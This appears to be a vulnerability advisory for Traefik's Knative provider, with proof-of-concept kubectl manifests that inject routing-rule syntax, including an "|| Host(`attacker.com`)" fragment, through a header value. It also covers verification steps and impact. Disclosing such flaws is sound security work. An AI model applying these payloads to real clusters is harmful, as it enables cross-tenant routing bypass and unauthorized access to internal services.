Details
- Cluster PoC (Knative header injection, confirms rule-syntax injection):
- Apply:
kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-rule-injection
namespace: default
annotations:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- "tenant.example.com"
visibility: External
http:
paths:
- path: "/"
headers:
X-Poc:
exact: 'x`) || Host(`attacker.com'
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
- Verify:
- Inspect generated Traefik dynamic router rule (API/dashboard/logs).
- Confirm injected fragment
|| Host(attacker.com)is present. - Send request with
Host: attacker.comand no expected tenant header (expected: 404 for this payload shape, because leadingHost(tenant)still applies). - Send request with
Host: tenant.example.comandX-Poc: x(expected: 200 from backend).
- Optional Ingress PoC (scope check):
- Apply:
kubectl apply -f - <<'YAML'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: poc-ingress-host-injection
namespace: default
annotations:
kubernetes.io/ingress.class: traefik
spec:
rules:
- host: 'tenant.example.com`) || Host(`attacker.com'
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: dummy
port:
number: 80
YAML
- Expected in most clusters: API server rejects this payload because Ingress
hostmust satisfy DNS-1123. - Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.
Validation executed in this report:
- Local deterministic PoC executed with
go runand output matched expected injected rule. - Live cluster test executed on local
kindcluster (kind-traefik-poc) with Traefikv3.6.10and Knative Serving CRDs. - Annotation key confirmed in this environment:
networking.knative.dev/ingress.class(dot). The hyphen variant was not used by the successful processing path. - Traefik API/logs confirmed generated routers included injected expressions.
- Live HTTP request with
Host: attacker.comreached backend (200) for Knative host-injection payload.
Impact
- Vulnerability type: Rule injection / authorization bypass at routing layer.
- Primary impact: Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.
- Who is impacted: Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.
- Security consequences: Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.
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